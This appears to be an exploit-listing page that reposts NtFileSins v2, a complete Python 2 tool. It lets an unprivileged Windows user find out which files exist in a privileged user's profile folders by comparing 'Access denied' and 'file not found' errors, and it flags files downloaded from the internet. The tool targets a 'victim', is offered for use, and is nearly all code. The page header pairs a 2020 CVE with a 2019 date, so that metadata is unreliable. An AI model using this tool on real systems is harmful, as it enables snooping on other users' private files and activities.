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NtFileSins / Windows NTFS Privileged File Access Enumeration Tool

CVE Category Price Severity
CVE-2020-13699 CWE-287 $3000 High
Author Risk Exploitation Type Date
Unknown High Local 2019-09-08
CVSS EPSS EPSSP
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/S:C/C:H/I:H/A:H 0 0

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019090055

Below is a copy:

NtFileSins / Windows NTFS Privileged File Access Enumeration Tool
from subprocess import Popen, PIPE
import sys,argparse,re

# NtFileSins v2
# Added: Check for Zone.Identifer:$DATA to see if any identified files were downloaded from internet.
#
# Windows File Enumeration Intel Gathering.
# Standard users can prove existence of privileged user artifacts.
#
# Typically, the Windows commands DIR or TYPE hand out a default "Access Denied" error message,
# when a file exists or doesn't exist, when restricted access is attempted by another user.
#
# However, accessing files directly by attempting to "open" them from cmd.exe shell,
# we can determine existence by compare inconsistent Windows error messages.
#
# Requirements: 1) target users with >= privileges.
#               2) artifacts must contain a dot "." or returns false positives.
#
# Windows message "Access Denied" = Exists
# Windows message "The system cannot find the file" = Not exists
# Windows returns "no message"  OR  "c:\victim\artifact is not recognized as an internal or external command,
# operable program or batch file" = Admin to Admin so this script is not required.
#
# Profile other users by compare ntfs error messages to potentially learn their activities or machines purpose.
# For evil or maybe check for basic malware IOC existence on disk with user-only rights.
#
#=====================================================================#
# NtFileSins.py - Windows File Enumeration Intel Gathering Tool v2.   #
# By John Page (aka hyp3rlinx)                                        #
# Apparition Security                                                 #
#=====================================================================#

BANNER='''
    _   _______________ __    _____ _           
   / | / /_  __/ ____(_) /__ / ___/(_)___  _____
  /  |/ / / / / /_  / / / _ \\__ \ / / __ \/ ___/
 / /|  / / / / __/ / / /  __/__/ / / / / (__  ) 
/_/ |_/ /_/ /_/   /_/_/\___/____/_/_/ /_/____/  v2                                                                                     
 By hyp3rlinx
 ApparitionSec                                                                                                                     
'''              

sin_cnt=0
internet_sin_cnt=0
found_set=set()
zone_set=set()
ARTIFACTS_SET=set()
ROOTDIR = "c:/Users/"
ZONE_IDENTIFIER=":Zone.Identifier:$DATA"

USER_DIRS=["Contacts","Desktop","Downloads","Favorites","My Documents","Searches","Videos/Captures",
           "Pictures","Music","OneDrive","OneDrive/Attachments","OneDrive/Documents"]

APPDATA_DIR=["AppData/Local/Temp"]

EXTS = set([".contact",".url",".lnk",".search-ms",".exe",".csv",".txt",".ini",".conf",".config",".log",".pcap",".zip",".mp4",".mp3", ".bat",
          ".wav",".docx",".pptx",".reg",".vcf",".avi",".mpg",".jpg",".jpeg",".png",".rtf",".pdf",".dll",".xml",".doc",".gif",".xls",".wmv"])

REPORT="NtFileSins_Log.txt"

def usage():
    print "NtFileSins is a privileged file access enumeration tool to search multi-account artifacts without admin rights.\n"
    print '-u victim -d Searches -a "MS17-020 - Google Search.url"'
    print '-u victim -a "<name.ext>"'
    print "-u victim -d Downloads -a <name.ext> -s"
    print '-u victim -d Contacts -a "Mike N.contact"'
    print "-u victim -a APT.txt -b -n"
    print "-u victim -d -z Desktop/MyFiles -a  <.name>"
    print "-u victim -d Searches -a <name>.search-ms"
    print "-u victim -d . -a <name.ext>"
    print "-u victim -d desktop -a inverted-crosses.mp3 -b"
    print "-u victim -d Downloads -a APT.exe -b"
    print "-u victim -f list_of_files.txt"
    print "-u victim -f list_of_files.txt -b -s"
    print "-u victim -f list_of_files.txt -x .txt"
    print "-u victim -d desktop -f list_of_files.txt -b"
    print "-u victim -d desktop -f list_of_files.txt  -x .rar"
    print "-u victim -z -s -f list_of_files.txt"

def parse_args():
    parser.add_argument("-u", "--user", help="Privileged user target")
    parser.add_argument("-d", "--directory", nargs="?", help="Specific directory to search <e.g. Downloads>.")
    parser.add_argument("-a", "--artifact", help="Single artifact we want to verify exists.")
    parser.add_argument("-t", "--appdata", nargs="?", const="1", help="Searches the AppData/Local/Temp directory.")
    parser.add_argument("-f", "--artifacts_from_file", nargs="?", help="Enumerate a list of supplied artifacts from a file.")
    parser.add_argument("-n", "--notfound", nargs="?", const="1", help="Display unfound artifacts.")
    parser.add_argument("-b", "--built_in_ext", nargs="?", const="1", help="Enumerate files using NtFileSin built-in ext types, if no extension is found NtFileSins will switch to this feature by default.")
    parser.add_argument("-x", "--specific_ext", nargs="?", help="Enumerate using specific ext, e.g. <.exe> using a supplied list of artifacts, a supplied ext will override any in the supplied artifact list.")
    parser.add_argument("-z", "--zone_identifier", nargs="?", const="1", help="Identifies artifacts downloaded from the internet by checking for Zone.Identifier:$DATA.")
    parser.add_argument("-s", "--save", nargs="?", const="1", help="Saves successfully enumerated artifacts, will log to "+REPORT)
    parser.add_argument("-v", "--verbose", nargs="?", const="1", help="Displays the file access error messages.")
    parser.add_argument("-e", "--examples", nargs="?", const="1", help="Show example usage.")
    return parser.parse_args()


def access(j):
    result=""
    try:
        p = Popen([j], stdout=PIPE, stderr=PIPE, shell=True)
        stderr,stdout = p.communicate()
        result = stdout.strip()
    except Exception as e:
        #print str(e)
        pass
    return result


def artifacts_from_file(artifacts_file, bflag, specific_ext):
    try:
        f=open(artifacts_file, "r")
        for a in f:
            idx = a.rfind(".")
            a = a.strip()
            if a != "":
                if specific_ext:
                    if idx==-1:
                        a = a + specific_ext
                    else:
                        #replace existing ext
                        a = a[:idx] + specific_ext
                if bflag:
                    ARTIFACTS_SET.add(a)
                else:
                    ARTIFACTS_SET.add(a)
        f.close()
    except Exception as e:
        print str(e)
        exit()


def save():
    try:
        f=open(REPORT, "w")
        for j in found_set:
            f.write(j+"\n")
        f.close()
    except Exception as e:
        print str(e)


def recon_msg(s):
    if s == 0:
        return "Access is denied."
    else:
        return "\t[*] Artifact exists ==>"


def echo_results(args, res, x, i):
    global sin_cnt
    if res=="":
        print "\t[!] No NTFS message, you must already be admin, then this script is not required."
        exit()
    if "not recognized as an internal or external command" in res:
        print "\t[!] You must target users with higher privileges than yours."
        exit()
    if res != recon_msg(0):
        if args.verbose:
            print "\t"+res
        else:
            if args.notfound:
                print "\t[-] not found: " + x +"/"+ i
    else:
        sin_cnt += 1
        if args.save or args.zone_identifier:
            found_set.add(x+"/"+i)
        if args.verbose:
            print recon_msg(1)+ x+"/"+i
            print "\t"+res
        else:
            print recon_msg(1)+ x+"/"+i


def valid_artifact_name(sin,args):
    idx = "." in sin
    if re.findall(r"[/\\*?:<>|]", sin):
        print "\t[!] Skipping: disallowed file name character."
        return False
    if not idx and not args.built_in_ext and not args.specific_ext:
        print "\t[!] Warning: '"+ sin +"' has no '.' in the artifact name, this can result in false positives."
        print "\t[+] Searching for '"+ sin +"' using built-in ext list to prevent false positives."
    if not args.built_in_ext:
        if sin[-1] == ".":
            print "\t[!] Skipping: "+sin+" non valid file name."
            return False
    return True


def search_missing_ext(path,args,i):
    for x in path:
        for e in EXTS:
            res = access(ROOTDIR+args.user+"/"+x+"/"+i+e)
            echo_results(args, res, x, i+e)


#Check if the found artifact was downloaded from internet
def zone_identifier_check(args):
    
    global ROOTDIR, internet_sin_cnt
    zone_set.update(found_set)
    
    for c in found_set:
        c = c + ZONE_IDENTIFIER
        res = access(ROOTDIR+args.user+"/"+c)
        if res == "Access is denied.":
           internet_sin_cnt += 1
           print "\t[$] Zone Identifier found: "+c+" this file was downloaded over the internet!."
           zone_set.add(c)


def ntsins(path,args,i):
    if i.rfind(".")==-1:
        search_missing_ext(path,args,i)
        i=""
    for x in path:
        if i != "":
            if args.built_in_ext:
                for e in EXTS:
                    res = access(ROOTDIR+args.user+"/"+x+"/"+i+e)
                    echo_results(args, res, x, i+e)
            elif args.specific_ext:
                idx = i.rfind(".")
                if idx == -1:
                    i = i + "."
                else:
                    i = i[:idx] + args.specific_ext
            res = access(ROOTDIR+args.user+"/"+x+"/"+i)
            echo_results(args, res, x, i)
            

def search(args):
    print "\tSearching...\n"
    global ROOTDIR, USER_DIRS, ARTIFACTS_SET
    
    if args.artifact:
        ARTIFACTS_SET = set([args.artifact])
        
    for i in ARTIFACTS_SET:
        idx = i.rfind(".") + 1
        if idx and args.built_in_ext:
            i = i[:idx -1:None]
        if len(i) > 0 and i != None: 
            if valid_artifact_name(i,args):
                #specific user dir search
                if args.directory:
                    single_dir=[args.directory]
                    ntsins(single_dir,args,i)
                #search appdata dirs
                elif args.appdata:
                    ntsins(APPDATA_DIR,args,i)
                #all default user dirs
                else:
                    ntsins(USER_DIRS,args,i)
        

def check_dir_input(_dir):
    if len(re.findall(r":", _dir)) != 0:
        print "[!] Check the directory arg, NtFileSins searches under c:/Users/target by default see Help -h."
        return False
    return True


def main(args):

    if len(sys.argv)==1:
        parser.print_help(sys.stderr)
        sys.exit(1)

    if args.examples:
        usage()
        exit()

    if not args.user:
        print "[!] No target user specified see Help -h"
        exit()

    if args.appdata and args.directory:
        print "[!] Multiple search directories supplied see Help -h"
        exit()

    if args.specific_ext:
        if  "." not in args.specific_ext:
            print "[!] Must use full extension e.g. -x ."+args.specific_ext+", dot in filenames mandatory to prevent false positives."
            exit()
            
    if args.artifact and args.artifacts_from_file:
        print "[!] Multiple artifacts specified, use just -f or -a see Help -h"
        exit()
        
    if args.built_in_ext and args.specific_ext:
        print "\t[!] Both specific and built-in extensions supplied, use only one."
        exit()

    if args.specific_ext and not args.artifacts_from_file:
        print "\t[!] -x to be used with -f flag only see Help -h."
        exit()
        
    if args.artifact:
        if args.artifact.rfind(".")==-1:
            print "\t[!] Artifacts must contain a .ext or will result in false positives."
            exit()
            
    if args.directory:
        if not check_dir_input(args.directory):
            exit()
            
    if args.artifacts_from_file:
        artifacts_from_file(args.artifacts_from_file, args.built_in_ext, args.specific_ext)

    if not args.artifact and not args.artifacts_from_file:
        print "[!] Exiting, no artifacts supplied see Help -h"
        exit()
    else:
        search(args)

    if sin_cnt >= 1 and args.zone_identifier:
        zone_identifier_check(args)
    
    if args.save and len(found_set) != 0:
        if len(zone_set) != 0:
            found_set.update(zone_set)
            save()
    
    print "\n\tNtFileSins Detected "+str(sin_cnt)+ " out of %s" % str(len(ARTIFACTS_SET)) + " Sins.\n"
    
    if args.zone_identifier and internet_sin_cnt >= 1:
        print "\t"+str(internet_sin_cnt) + " of the sins were internet downloaded.\n"
    
    if not args.notfound:
        print "\tuse -n to display unfound enumerated files."
    if not args.built_in_ext:
        print "\tfor extra search coverage try -b flag or targeted artifact search -a."
    
if __name__ == "__main__":
    print BANNER
    parser = argparse.ArgumentParser()
    main(parse_args())

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